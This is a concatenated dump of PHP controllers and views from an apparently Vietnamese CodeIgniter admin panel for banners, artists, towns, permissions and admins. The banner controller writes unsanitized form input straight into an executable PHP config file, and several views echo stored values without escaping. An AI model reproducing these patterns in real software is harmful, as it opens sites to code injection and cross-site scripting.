$str .= "\n\n/* End of file*/\n?>";
write_file('../config/banner_top.php', $str);
$data['bntop_name'] = $this->config->item('bntop_name');
$data['bntop_link'] = $this->config->item('bntop_link');
$data['bntop_img'] = $this->config->item('bntop_img');
//$bntop_width = $this->input->post('bntop_width');
//$bntop_height = $this->input->post('bntop_height');
$data['bntop_active'] = $this->config->item('bntop_active');
$this->session->set_flashdata('message',"Lưu thành công");
redirect($this->_module_name.'/banner/top');
}
$this->_templates['page'] = 'banner/banner_top';
$this->site_library->load($this->_templates['page'],$data);
}
/**
Date : 05/05/2014
Desc : show list
Params : option
Return : showview
**/
function artist()
{
$data['title'] = 'Cập nhật artist banner';
$data['artist_name'] = $this->config->item('artist_name');
$data['artist_link'] = $this->config->item('artist_link');
$data['artist_img'] = $this->config->item('artist_img');
/*$data['artist_width'] = $this->config->item('artist_width');
$data['artist_height'] = $this->config->item('artist_height');*/
$data['artist_active'] = $this->config->item('artist_active');
if(isset($_POST['bt_submit']))
{
$this->form_validation->set_rules('artist_name','Tên quảng cáo','required');
$this->form_validation->set_rules('artist_link','Link quảng cáo','required');
$this->form_validation->set_rules('artist_img','Hình ảnh quảng cáo','required');
//$this->form_validation->set_rules('artist_width','Chiều rộng quảng cáo','required|numeric');
//$this->form_validation->set_rules('artist_height','Chiều cao quảng cáo','required|numeric');
if($this->form_validation->run() == false)
{
$this->pre_message = validation_errors();
}
else
{
$artist_name = $this->input->post('artist_name');
$artist_link = $this->input->post('artist_link');
$artist_img = $this->input->post('artist_img');
/*$artist_width = $this->input->post('artist_width');
$artist_height = $this->input->post('artist_height');*/
$artist_active = (int)$this->input->post('artist_active');
// write file
$str = "<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');\n";
$str .= "\n";
$str .= "\n\$config['artist_name'] = '$artist_name';"; ;
$str .= "\n\$config['artist_link'] = '$artist_link';"; ;
$str .= "\n\$config['artist_img'] = '$artist_img';"; ;
//$str .= "\n\$config['artist_width'] = $artist_width;"; ;
//$str .= "\n\$config['artist_height'] = $artist_height;"; ;
$str .= "\n\$config['artist_active'] = $artist_active;"; ;
$str .= "\n";
$str .= "\n\n/* End of file*/\n?>";
write_file('../config/banner_artist.php', $str);
$data['artist_name'] = $this->config->item('artist_name');
$data['artist_link'] = $this->config->item('artist_link');
$data['artist_img'] = $this->config->item('artist_img');
//$artist_width = $this->input->post('artist_width');
//$artist_height = $this->input->post('artist_height');
$data['artist_active'] = $this->config->item('artist_active');
$this->session->set_flashdata('message',"Lưu thành công");
redirect($this->_module_name.'/banner/artist');
}
}
$this->_templates['page'] = 'banner/banner_artist';
$this->site_library->load($this->_templates['page'],$data);
}
}
/* End of file welcome.php */
/* Location: ./system/application/controllers/welcome.php */ | 123gosaigon | trunk/ 123gosaigon/webadmin/modules/banner/controllers/banner.php | PHP | asf20 | 11,950 |
<?php if (! defined('BASEPATH')) exit('No direct script access allowed');
class Artist extends CI_Controller
{
public function __construct()
{
parent::__construct();
$this->_module_name = $this->router->fetch_module().'/';
$this->pre_message = "" ;
$this->load->model('artist_model','artist');
$this->load->model('banner_model','banner');
$this->load->config('config_site') ;
$this->lang->load('adv') ;
$this->lang->load('banner');
/*$this->permit_library->check_permit();
$this->session->set_userdata(array('Url'=>uri_string()));*/
}
function index($start=0, $banner_type='ARTIST')
{
$data['start'] = $start;
$data['banner_type'] = $banner_type;
$data['title'] = 'Quản lý artist';
$data['add'] = $this->_module_name.'artist/add';
$config['base_url'] = base_url().$this->_module_name.'artist/index/'.$start;
$config['total_rows'] = $this->artist->get_num($banner_type);
$data['num'] = $config['total_rows'];
$paging_limit = $this->config->item('paging_limit');
$config['per_page'] = 20 ;
$config['uri_segment'] = 4;
$this->pagination->initialize($config);
$data['list'] = $this->artist->get_all($config['per_page'],$start, $banner_type);
$data['pagination'] = $this->pagination->create_links();
$data['page'] = 'artist/index';
$this->load->view('templates/skin', $data);
}
function add()
{
$data['title'] = 'Thêm mới quảng cáo';
if(isset($_POST['bt_submit']))
{
$this->form_validation->set_rules('lb_image',lang('adv_images'),'trim|required');
//$this->form_validation->set_rules('nb_position',lang('position'),'trim|required');
if($this->form_validation->run()== FALSE){
$this->pre_message = validation_errors();
}else{
$data = $this-> build_data($_POST, 1);
if($this->artist->save($data))
{
$this->session->set_flashdata('message',lang('successful'));
redirect($this->_module_name.'artist');
}
}
}
$data['list_banner_type']=$this->banner->getAllBannerType();
$data['message'] = $this->pre_message;
$data['page'] = 'artist/add';
$this->load->view('templates/skin', $data);
}
function edit($id)
{
$data['rs'] = $this->artist->get_id($id);
if(isset($_POST['bt_submit']))
{
$this->form_validation->set_rules('lb_url','','trim|required');
//$this->form_validation->set_rules('nb_position',lang('position'),'trim|required');
if($this->form_validation->run()== FALSE){
$this->pre_message = validation_errors();
}else{
$data = $this-> build_data($_POST);
if($this->artist->save($data, $id))
{
$this->session->set_flashdata('message',lang('successful'));
redirect($this->_module_name.'artist');
}
}
}
$data['list_banner_type']=$this->banner->getAllBannerType();
$data['title'] = lang('update');
$data['page'] = 'artist/edit';
$this->load->view('templates/skin', $data);
}
function build_data($data, $flag=0)
{
$this->load->helper('img') ;
//upload hinh anh
$img = $this->input->post("lb_image");
$img_name = end(explode('/', $img)) ;
if($img)
{
if(file_exists('../uploads/banner/artist/'.$img_name))
{
unlink('../uploads/banner/artist/'.$img_name);
}
fn_resize_image('../uploads/'.$img,'../uploads/banner/artist/'.$img_name, 270, 180);
$req["lb_image"] = $img_name;
}
//upload hinh anh lớn
$img_large = $this->input->post("lb_image_large");
$img_name_large = end(explode('/', $img_large)) ;
if($img_large)
{
if(file_exists('../uploads/banner/'.$img_name_large))
{
unlink('../uploads/banner/'.$img_name_large);
}
fn_resize_image('../uploads/'.$img_large,'../uploads/banner/'.$img_name_large, 1366, 440);
$req["lb_image_large"] = $img_name_large;
}
$req["lb_title"]=trim($data["lb_title"]);
$req["banner_type"]= trim($data["banner_type"]);
$req["lb_url"]=trim($data["lb_url"]);
$req["lb_sumary"]=trim($data["lb_sumary"]);
$req["lb_desc"]=trim($data["lb_desc"]);
$req["nb_position"] = trim($data["nb_position"]);
$req["nb_order"]=trim($data["nb_order"]);
$req["bl_active"]= (int) $this->input->post("bl_active");
$req["dt_modify"]= date("Y-m-d H:i:s");
if($flag) $req["dt_create"]= date("Y-m-d H:i:s");
return $req;
}
function del($id=0, $page=1)
{
//$id = $this->uri->segment(3);
//$page = $this->uri->segment(4);
if($this->artist->del($id))
$this->session->set_flashdata('message',lang('delete_success'));
else $this->session->set_flashdata('message',lang('delete_unsuccess'));
// xóa các tin đã bo sau 3 tháng
$this->artist->remove() ;
redirect($this->_module_name.'artist');
}
function dels()
{
if(!empty($_POST['ar_id']))
{
$page = (int)$this->input->post('page');
$ar_id = $this->input->post('ar_id');
if(!empty($_POST['btn_submit']))
{
for($i = 0; $i < sizeof($ar_id); $i ++) {
if ($ar_id[$i]){
if($this->artist->del($ar_id[$i]))
$this->session->set_flashdata('message',lang('delete_success'));
else $this->session->set_flashdata('message',lang('delete_unsuccess'));
}
}
}
}
redirect($this->_module_name.'artist');
}
}
?> | 123gosaigon | trunk/ 123gosaigon/webadmin/modules/banner/controllers/artist.php | PHP | asf20 | 5,313 |
<?php
//Vi tri cac banner
$config['pos_banner'][] = 'Chưa chọn' ;
$config['pos_banner'][] = 'Home' ;
$config['pos_banner'][] = 'Right' ;
$config['pos_banner'][] = 'Show detail' ;
$config['pos_banner'][] = 'Khám phá - Artist' ;
?> | 123gosaigon | trunk/ 123gosaigon/webadmin/modules/banner/config/config_position.php | PHP | asf20 | 245 |
<div class="box-white"><?=$title?></div>
<div class="box-content">
<?$attributes = array('class' => 'email', 'id' => 'checknew');
echo form_open('admin/dels', $attributes);?>
<input type="hidden" name="page" value="<?=(int)$this->uri->segment('3')?>">
<table class="admindata">
<thead>
<tr>
<th colspan="3">
<input type="submit" onclick="return verify_del();" name="btn_submit" class="submit" value="Xóa">
Hiện có <?=$num?> <span class="pages"><?=$pagination?></span>
</th>
<th>
<a href="<?=site_url('logs/del/'.$this->uri->segment(3))?>">Xóa</a>
</th>
</tr>
<tr>
<th>Thời gian</th>
<th>Thao tác</th>
<th>Thông tin</th>
<th>IP</th>
</tr>
</thead>
<?
$k=1;
foreach($list as $rs):?>
<tr class="row<?=$k?>">
<td><?=date('H:i:s, d/m/Y',$rs->date_log)?></td>
<td><?=anchor($rs->url,$rs->url)?></td>
<td><?=$rs->log_info?></td>
<td><?=$rs->log_ip?></td>
</tr>
<?
$k=1-$k;
endforeach;?>
<tfoot>
<td colspan="3">
<input type="submit" class="submit" onclick="return verify_del();" name="btn_submit" value="Xóa">
Hiện có <?=$num?> <span class="pages"><?=$pagination?></span>
</td>
<td><a href="<?=site_url('logs/del/'.$this->uri->segment(3))?>">Xóa</a></td>
</tfoot>
</table>
<?=form_close()?>
<div>
</div> | 123gosaigon | trunk/ 123gosaigon/webadmin/views/logs/list.php | PHP | asf20 | 1,917 |
<script type="text/javascript">
function insert(file){
$("#hinhanh", top.document).val(file);
windowClose();
}
</script>
<? $seg2 = $this->uri->segment(2); ?>
<div class="media-upload-header">
<ul id="menu">
<li><a href="<?=base_url()?>editor/index" <? if($seg2=='index'){echo ' class="current"';}?>>Thư viện</a></li>
<li><a href="<?=base_url()?>editor/upload" <? if($seg2=='upload'){echo ' class="current"';}?>>Upload FIle</a></li>
</ul>
</div>
<div class="form_upload">
<div align="center" style="padding-top: 20px;">
<?php
echo form_open_multipart('editor/upload');
?>
Chọn File Upload
<input type="file" name="filedata">
<input type="hidden" name="id" value="1">
<input type="submit" name="upload" value="Upload">
<? echo form_close();
?>
</div>
<? if(isset($file)){?>
<table class="site">
<tr>
<td><img src="<?=base_url_site().$file?>" height="50" alt=""></td>
<td style="width: 70px"><a id="closelink" href="#" onclick="insert('<?=base_url_site().$file?>');"><b>Chọn File</b></a></td>
</tr>
</table>
<?}?>
</div> | 123gosaigon | trunk/ 123gosaigon/webadmin/views/editor/upload.php | PHP | asf20 | 1,153 |
<script type="text/javascript">
function insert(file){
$("#hinhanh", top.document).val(file);
parent.$.fn.colorbox.close();
}
</script>
<? $seg2 = $this->uri->segment(2); ?>
<div class="media-upload-header">
<ul id="menu">
<li><a href="<?=base_url()?>editor/index" <? if($seg2=='index'){echo ' class="current"';}?>>Thư viện</a></li>
<li><a href="<?=base_url()?>editor/upload" <? if($seg2=='upload'){echo ' class="current"';}?>>Upload FIle</a></li>
<li>
<div class="defaults">
<p class="element">
<label for="insert_width">Image Width:</label>
<input type="text" value="0" name="insert_width" id="insert_width">
<span>Left</span>
<input type="radio" value="left" name="insert_float">
<span>Right</span>
<input type="radio" value="right" name="insert_float">
<span>None</span>
<input type="radio" checked="checked" value="none" name="insert_float">
</p>
</div>
</li>
</ul>
</div>
<div style="padding: 20px;">
<ul class="list_img">
<? foreach($list as $rs):?>
<li>
<div> <img onclick="javascript:insertImage('<?=base_url_site().'uploads/images/'.$rs->lb_name?>', '<?=$rs->lb_name?>')" src="<?=base_url_site().'uploads/images/'.$rs->lb_name?>" alt="" class="vnit_img" title="Click chọn ảnh"></div>
<div class="title">
<?=$rs->lb_name?>
</div>
</li>
<? endforeach;?>
</ul>
<div class="pages" style="clear:both;">
<?=$pagination?>
</div>
</div>
| 123gosaigon | trunk/ 123gosaigon/webadmin/views/editor/index.php | PHP | asf20 | 1,756 |
<?
$attributes = array('class' => 'email', 'id' => 'checknew');
echo form_open('town/dels', $attributes);
?>
<table class="admindata">
<thead>
<tr>
<th colspan="4"> <input type="submit" onclick="return verify_del();" name="btn_submit" class="submit" value="<?=lang('delete');?>">
<?=lang('total');?>
<?=$num?>
<?=lang('record');?>
<span class="pages">
<?=$pagination?>
</span> </th>
</tr>
<tr>
<th class="checkbox"><input type="checkbox" name="sa" id="sa" onclick="check_chose('sa', 'ar_id[]', 'checknew');" /></th>
<th>Tỉnh thành</th>
<th>Thứ tự</th>
<th width='120'><?=lang('functions');?></th>
</tr>
</thead>
<?
$k=1;
foreach($list as $rs):
?>
<tr class="row<?=$k?>">
<td><input type="checkbox" name="ar_id[]" value="<?=$rs->town_id?>"></td>
<td><?=$rs->town_name?></td>
<td><?=$rs->sort_no?></td>
<td align="center"><?=icon_edit('town/edit/'.$rs->town_id)?>
<span id="publish<?=$rs->town_id?>"><?=icon_active("'town'","'town_id'",$rs->town_id,$rs->bl_active)?></span>
<?=icon_del('town/del/'.$rs->town_id.'/'.(int)$this->uri->segment(4))?></td>
</tr>
<?
$k=1-$k;
endforeach;
?>
<tfoot>
<td colspan="4"><input type="submit" class="submit" onclick="return verify_del();" name="btn_submit" value="<?=lang('delete');?>">
<?=lang('total');?>
<?=$num?>
<?=lang('record');?>
<span class="pages">
<?=$pagination?>
</span></td>
</tfoot>
</table>
<?=form_close()?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/views/town/list.php | PHP | asf20 | 1,784 |
<?=form_open(uri_string());?>
<table class="form">
<tr>
<td class="w150 required label">Tỉnh thành</td>
<td><input type="text" name="town_name" id="town_name" style="width: 400px;" value=""></td>
</tr>
<tr>
<td class="w150 required label">Thứ tự</td>
<td><input type="text" name="sort_no" id="sort_no" style="width: 400px;" value=""></td>
</tr>
<tr>
<td class="label">Trạng thái</td>
<td><input type="checkbox" name="bl_active" id="bl_active" value="1" checked onclick="setCheckboxValue(this);"></td>
</tr>
<tr>
<td class="label"></td>
<td class="footer"><input type="submit" name="bt_submit" class="themmoi"></td>
</tr>
</table>
<?=form_close();?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/views/town/add.php | PHP | asf20 | 777 |
<?=form_open(uri_string());?>
<table class="form">
<tr>
<td class="w150 required label">Tỉnh thành</td>
<td><input type="text" name="town_name" id="town_name" style="width: 400px;" value="<?=$rs->town_name;?>"></td>
</tr>
<tr>
<td class="w150 required label">Thứ tự</td>
<td><input type="text" name="sort_no" id="sort_no" style="width: 400px;" value="<?=$rs->sort_no;?>"></td>
</tr>
<tr>
<td class="label">Trạng thái</td>
<td><input type="checkbox" name="bl_active" id="bl_active" <?php if($rs->bl_active==1) echo 'checked'; ?> value="<?=$rs->bl_active;?>" onclick="setCheckboxValue(this);"></td>
</tr>
<tr>
<td class="label"></td>
<td class="footer"><input type="submit" name="bt_submit" class="capnhat"></td>
</tr>
</table>
<?=form_close();?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/views/town/edit.php | PHP | asf20 | 874 |
<html>
<head>
<title>403 Forbidden</title>
</head>
<body>
<p>Directory access is forbidden.</p>
</body>
</html> | 123gosaigon | trunk/ 123gosaigon/webadmin/views/town/index.html | HTML | asf20 | 114 |
<?
$attributes = array('class' => 'email', 'id' => 'checknew');
echo form_open('admin/dels', $attributes);
?>
<input type="hidden" name="page" value="<?=(int)$this->uri->segment('3')?>">
<table class="admindata">
<thead>
<tr>
<th colspan="6">
<input type="submit" onclick="return verify_del();" name="btn_submit" class="submit" value="Xóa">
Hiện có <?=$num?> chức năng
</th>
</tr>
<tr>
<th class="checkbox"><input type="checkbox" name="sa" id="sa" onclick="check_chose('sa', 'ar_id[]', 'checknew')" /></th>
<th>ID</th>
<th>Tên Modules</th>
<th>Chức năng</th>
<th>Mô tả</th>
<th class="publish">Chức năng</th>
</tr>
</thead>
<?
$k=1;
foreach($list as $rs):?>
<tr class="row<?=$k?>">
<td><input type="checkbox" name="ar_id[]" value="<?=$rs->function_id?>"></td>
<td><?=$rs->function_id?></td>
<td>
<?=$rs->permission_name?>
</td>
<td><?=$rs->function_name?></td>
<td><?=$rs->function_notice?></td>
<td align="center">
<?=icon_edit('func_permit/edit/'.$rs->permission_id.'/'.$rs->function_id)?>
</td>
</tr>
<?
$k=1-$k;
endforeach;?>
<tfoot>
<td colspan="6">
<input type="submit" class="submit" onclick="return verify_del();" name="btn_submit" value="Xóa">
Hiện có <?=$num?> chức năng
</td>
</tfoot>
</table>
<?=form_close()?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/views/permission/func/list.php | PHP | asf20 | 1,843 |
<?=form_open(uri_string());?>
<table class="form">
<tr>
<td class="w150 required label">Tên Modules</td>
<td>
<select name="permission_id" style="width: 400px;">
<?foreach($list as $val):?>
<option value="<?=$val->permission_id?>" <?=($val->permission_id == $this->uri->segment(3))?'selected="selected"':''?>><?=$val->permission_name?> - <?=$val->permission_notice?></option>
<?endforeach;?>
</select>
</td>
</tr>
<tr>
<td class="w150 required label">Tên chức năng</td>
<td><input type="text" name="function_name" style="width: 400px;" value="<?=set_value('function_name')?>"></td>
</tr>
<tr>
<td class="required label">Ghi chú</td>
<td>
<input type="text" name="function_notice" value="<?=set_value('function_notice')?>" style="width: 400px;">
</td>
</tr>
<tr>
<td></td>
<td class="footer"><input type="submit" name="bt_submit" class="themmoi"></td>
</tr>
</table>
<?=form_close();?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/views/permission/func/add.php | PHP | asf20 | 1,001 |
<?=form_open(uri_string());?>
<table class="form">
<tr>
<td class="w150 required label">Tên Modules</td>
<td>
<select name="permission_id" style="width: 400px;">
<?foreach($list as $val):?>
<option value="<?=$val->permission_id?>" <?=($val->permission_id == $this->uri->segment(3))?'selected="selected"':''?>><?=$val->permission_name?> - <?=$val->permission_notice?></option>
<?endforeach;?>
</select>
</td>
</tr>
<tr>
<td class="w150 required label">Tên chức năng</td>
<td><input type="text" name="function_name" style="width: 400px;" value="<?=$rs->function_name?>"></td>
</tr>
<tr>
<td class="required label">Ghi chú</td>
<td>
<input type="text" name="function_notice" value="<?=$rs->function_notice?>" style="width: 400px;">
</td>
</tr>
<tr>
<td></td>
<td class="footer"><input type="submit" name="bt_submit" class="capnhat"></td>
</tr>
</table>
<?=form_close();?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/views/permission/func/edit.php | PHP | asf20 | 985 |
<?
$attributes = array('class' => 'email', 'id' => 'checknew');
echo form_open('admin/dels', $attributes);
?>
<input type="hidden" name="page" value="<?=(int)$this->uri->segment('3')?>">
<table class="admindata">
<thead>
<tr>
<th colspan="5">
<input type="submit" onclick="return verify_del();" name="btn_submit" class="submit" value="Xóa">
Hiện có <?=$num?> Modules
</th>
</tr>
<tr>
<th class="checkbox"><input type="checkbox" name="sa" id="sa" onclick="check_chose('sa', 'ar_id[]', 'checknew')" /></th>
<th>ID</th>
<th>Tên Modules</th>
<th>Ghi chú</th>
<th class="publish">Chức năng</th>
</tr>
</thead>
<?
$k=1;
foreach($list as $rs):?>
<tr class="row<?=$k?>">
<td><input type="checkbox" name="ar_id[]" value="<?=$rs->permission_id?>"></td>
<td><?=$rs->permission_id?></td>
<td>
<?=$rs->permission_name?>
</td>
<td><?=$rs->permission_notice?></td>
<td align="center">
<?=icon_view('func_permit/showlist/'.$rs->permission_id)?>
<?=icon_edit('permission/edit/'.$rs->permission_id)?>
</td>
</tr>
<?
$k=1-$k;
endforeach;?>
<tfoot>
<td colspan="5">
<input type="submit" class="submit" onclick="return verify_del();" name="btn_submit" value="Xóa">
Hiện có <?=$num?> Modules
</td>
</tfoot>
</table>
<?=form_close()?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/views/permission/list.php | PHP | asf20 | 1,809 |
<?=form_open(uri_string());?>
<table class="form">
<tr>
<td class="w150 required label">Tên Modules</td>
<td><input type="text" name="permission_name" class="w300" value="<?=set_value('permission_name')?>"></td>
</tr>
<tr>
<td class="required label">Ghi chú</td>
<td>
<textarea style="width: 400px; height: 50px;" name="permission_notice"><?=set_value('permission_notice')?></textarea>
</td>
</tr>
<tr>
<td></td>
<td class="footer"><input type="submit" name="bt_submit" class="themmoi"></td>
</tr>
</table>
<?=form_close();?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/views/permission/add.php | PHP | asf20 | 595 |
<?=form_open(uri_string());?>
<table class="form">
<tr>
<td class="w150 required label">Tên Modules</td>
<td><input type="text" name="permission_name" class="w300" value="<?=$rs->permission_name?>"></td>
</tr>
<tr>
<td class="required label">Ghi chú</td>
<td>
<input type="text" name="permission_notice" class="w300" value="<?=$rs->permission_notice?>" />
</td>
</tr>
<tr>
<td></td>
<td class="footer"><input type="submit" name="bt_submit" class="capnhat"></td>
</tr>
</table>
<?=form_close();?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/views/permission/edit.php | PHP | asf20 | 564 |
<div class="box-white"><?=$title?></div>
<div class="box-content">
<?=form_open('admin/add',array('id'=>'checknew'));?>
<table>
<tr>
<td>
<table class="form">
<tr>
<td class="w150 label">Tên đăng nhập</td>
<td><input type="text" name="login_name" class="w200" value="<?=set_value('login_name')?>"></td>
</tr>
<tr>
<td class="label">Mật khẩu</td>
<td><input type="password" name="password" class="w200" value=""></td>
</tr>
<tr>
<td class="label">Nhắc lại mật khẩu</td>
<td><input type="password" class="w200" name="re_password"></td>
</tr>
<tr>
<td colspan="2" class="footer"><input type="submit" name="bt_submit" class="themmoi"></td>
</tr>
</table>
</td>
<td>
<h4>Phân quyền <input type="checkbox" name="sa" id="sa" onclick="check_chose('sa', 'ar_id[]', 'checknew')" /> Chọn tất cả</h4>
<?foreach($list as $val):
$list_f = $this->admin->get_list_func($val->permission_id);
?>
<div class="permission_name"><b><?=$val->permission_name?></b> [<?=$val->permission_notice?>]</div>
<div style="overflow: hidden;">
<?foreach($list_f as $func):?>
<span class="permit_name"><input type="checkbox" name="ar_id[]" value="<?=$func->function_id?>"> <?=$func->function_notice?></span>
<?endforeach;?>
</div>
<?endforeach;?>
</td>
</tr>
</table>
<?=form_close();?>
<div>
</div> | 123gosaigon | trunk/ 123gosaigon/webadmin/views/admin/add.php | PHP | asf20 | 1,870 |
<?=form_open(uri_string());?>
<table width="100%">
<tr>
<td>
<table width="100%" border="0" cellpadding="5" cellspacing="0" class="form">
<tr>
<td class="label">Mật khẩu hiện tại</td>
<td><input type="password" name="oldpass" class="w200" value=""></td>
</tr>
<tr>
<td class="label">Mật khẩu mới</td>
<td><input type="password" class="w200" name="newpass" id="newpass"></td>
</tr>
<tr>
<td class="label">Nhắc lại mật khẩu</td>
<td><input type="password" class="w200" name="repass" id="repass"></td>
</tr>
<tr>
<td class="label"> </td>
<td class="footer"><input type="submit" name="bt_submit" class="capnhat" /></td>
</tr>
</table></td>
</tr>
</table>
<?=form_close();?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/views/admin/changepass.php | PHP | asf20 | 809 |
<div class="box-white"><?=$title?></div>
<div class="box-content">
<div>
</div> | 123gosaigon | trunk/ 123gosaigon/webadmin/views/admin/templ.php | PHP | asf20 | 96 |
<?
$attributes = array('class' => 'email', 'id' => 'checknew');
echo form_open('admin/dels', $attributes);
?>
<input type="hidden" name="page" value="<?=(int)$this->uri->segment('3')?>">
<table class="admindata">
<thead>
<tr>
<th colspan="4"> <input type="submit" onclick="return verify_del();" name="btn_submit" class="submit" value="Xóa">
<?=lang('existing')?>
<?=$num?>
<?=lang('admin')?>
<?=$pagination?>
</th>
</tr>
<tr>
<th class="checkbox"><input type="checkbox" name="sa" id="sa" onclick="check_chose('sa', 'ar_id[]', 'checknew')" /></th>
<th><?=lang('id')?></th>
<th><?=lang('login_name')?></th>
<th class="publish" style="width: 90px;"><?=lang('functions')?></th>
</tr>
</thead>
<?
$k=1;
foreach($list as $rs):?>
<tr class="row<?=$k?>">
<td><input type="checkbox" name="ar_id[]" value="<?=$rs->admin_id?>"></td>
<td><?=$rs->admin_id?></td>
<td><?=$rs->login_name?></td>
<td align="center"><?=icon_log('logs/listlogs/'.$rs->admin_id)?>
<?=icon_edit('admin/edit/'.$rs->admin_id)?>
<span id="publish<?=$rs->admin_id?>">
<?=icon_active("'sys_admin'","'admin_id'",$rs->admin_id,$rs->bl_active)?>
</span>
<?=icon_del('admin/del/'.$rs->admin_id.'/'.(int)$this->uri->segment(4))?></td>
</tr>
<?
$k=1-$k;
endforeach;?>
<tfoot>
<td colspan="4"><input type="submit" class="submit" onclick="return verify_del();" name="btn_submit" value="Xóa">
<?=lang('existing')?>
<?=$num?>
<?=lang('admin')?>
<?=$pagination?></td>
</tfoot>
</table>
<?=form_close()?> | 123gosaigon | trunk/ 123gosaigon/webadmin/views/admin/listadmin.php | PHP | asf20 | 1,903 |
<?=form_open(uri_string(),array('id'=>'checknew'));?>
<table>
<tr>
<td>
<input type="hidden" name="AdminID" value="<?=$admin_id?>">
<table class="form">
<tr>
<td class="w150 label">Tên đăng nhập</td>
<td><input type="text" name="login_name" class="w200" value="<?=$login_name?>"></td>
</tr>
<tr>
<td class="label">Mật khẩu</td>
<td><input type="password" name="password" class="w200" value=""></td>
</tr>
<tr>
<td class="label">Nhắc lại mật khẩu</td>
<td><input type="password" class="w200" name="re_password"></td>
</tr>
<tr>
<td colspan="2" class="footer"><input type="submit" name="bt_submit" class="capnhat"></td>
</tr>
</table>
</td>
<td>
<h4>Phân quyền <input type="checkbox" name="sa" id="sa" onclick="check_chose('sa', 'ar_id[]', 'checknew')" /> Chọn tất cả</h4>
<table class="admindata">
<?
$k=1;
foreach($list as $val):
$list_f = $this->admin->get_list_func($val->permission_id);
?>
<tr class="row<?=$k?>">
<td>
<div class="permission_name"><b><?=$val->permission_name?></b> [<?=$val->permission_notice?>]</div>
<div style="overflow: hidden;">
<?foreach($list_f as $func):?>
<span class="permit_name"><input type="checkbox" name="ar_id[]" value="<?=$func->function_id?>" <?=($this->admin->get_item_permit_admin($func->function_id,$admin_id))?'checked="checked"':'';?>> <?=$func->function_notice?></span>
<?endforeach;?>
</div>
</td>
</tr>
<?
$k=1-$k;
endforeach;?>
</table>
</td>
</tr>
</table>
<?=form_close();?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/views/admin/edit.php | PHP | asf20 | 2,196 |
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="keywords" content="Sieu thi dien may online - Fyi.vn - Giao hang mien phi tan noi.">
<meta name="description" content="Sieu thi dien may online - Fyi.vn - Giao hang mien phi tan noi>
<title>Sieu thi dien may online - Fyi.vn - Giao hang mien phi tan noi</title>
<link rel="icon" href="http://fyi.vn/icon.png" type="image/x-icon" />
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-27012617-1']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
</head>
<body>
<script type="text/javascript">
window.location = "http://fyi.vn/" ;
//-->
</script>
</body>
</html>
</center>
</body>
</html>
| 123gosaigon | trunk/ 123gosaigon/webadmin/views/admin/index.html | HTML | asf20 | 1,088 |
<script type="text/javascript">
function insert(file)
{
$("#<?php echo $this->uri->segment(3)?>", top.document).val(file);
parent.$.fn.colorbox.close();
}
</script>
<? $seg2 = $this->uri->segment(2); ?>
<div class="media-upload-header">
<ul id="menu">
<li><a href="<?php echo base_url()?>index.php/filemanager/index/<?php echo $this->uri->segment(3)?>" <? if($seg2=='index'){echo ' class="current"';}?>>Thư viện</a></li>
<li><a href="<?php echo base_url()?>index.php/filemanager/upload/<?php echo $this->uri->segment(3)?>" <? if($seg2=='upload'){echo ' class="current"';}?>>Upload</a></li>
</ul>
</div>
<div class="form_upload">
<div align="center" style="padding-top: 20px;">
<?php
echo form_open_multipart('filemanager/upload/'.$this->uri->segment(3));
?>
<?php echo lang('choose_file_upload');?>
<input type="file" name="filedata">
<input type="hidden" name="id" value="1">
<input type="submit" name="upload" value="Upload">
<?php echo form_close();
?>
</div>
<?php if(isset($file))
{
$img = explode('/',$file);
?>
<table class="site">
<tr>
<td><a id="closelink" href="#" onclick="insert('<?php echo end($img)?>');"><img src="<?php echo base_url_site().'uploads/images/'.$file?>" height="50" alt=""></a></td>
<td style="width: 150px"><a id="closelink" href="#" onclick="insert('<?php echo end($img)?>');"><b>Chọn file</b></a></td>
</tr>
</table>
<?php }?>
</div>
| 123gosaigon | trunk/ 123gosaigon/webadmin/views/filemanager/upload.php | PHP | asf20 | 1,561 |
<style type="text/css">
ul.site li {
float:left;
margin:5px;
width:80px;
height:80px;
overflow:hidden;
border:1px solid #CCC;
}
div.pages {
clear:both;
height:20px;
padding:5px;
}
</style>
<script type="text/javascript">
function insert(file)
{
$("#<?php echo $this->uri->segment(3)?>", top.document).val(file);
parent.$.fn.colorbox.close();
}
</script>
<?php $seg2 = $this->uri->segment(2); ?>
<div class="media-upload-header">
<ul id="menu">
<li><a href="<?php echo base_url()?>index.php/filemanager/index/<?php echo $this->uri->segment(3)?>" <?if($seg2=='index'){echo ' class="current"';}?>>Thư viện</a></li>
<li><a href="<?php echo base_url()?>index.php/filemanager/upload/<?php echo $this->uri->segment(3)?>" <?if($seg2=='upload'){echo ' class="current"';}?>>Upload</a></li>
</ul>
</div>
<div style="padding:20px; height:500px; overflow: auto;">
<ul class="site">
<? foreach($list as $rs): ?>
<li><a id="cboxClose" href="javascript:;" onclick="insert('<?=$rs->lb_name?>');"><?=$this->icon_library->loadtypefile($rs->lb_name, $rs->ext)?></a></li>
<? endforeach;?>
</ul>
<div class="pages"><?=$pagination?></div>
</div>
| 123gosaigon | trunk/ 123gosaigon/webadmin/views/filemanager/index.php | PHP | asf20 | 1,226 |
<div id="c_left" style="width: 50%">
<div class="box-content">
<div id="cpanel">
<div class="icon"><a href="<?=url?>siteconfig"> <img src="<?=url?>templates/images/header/icon-48-config.png" alt="" /><span>Cấu hình</span></a></div>
<div class="icon"><a href="<?=url?>news_category"> <img src="<?=url?>templates/images/header/icon-48-category.png" alt="" /><span>Nhóm tin tức</span></a></div>
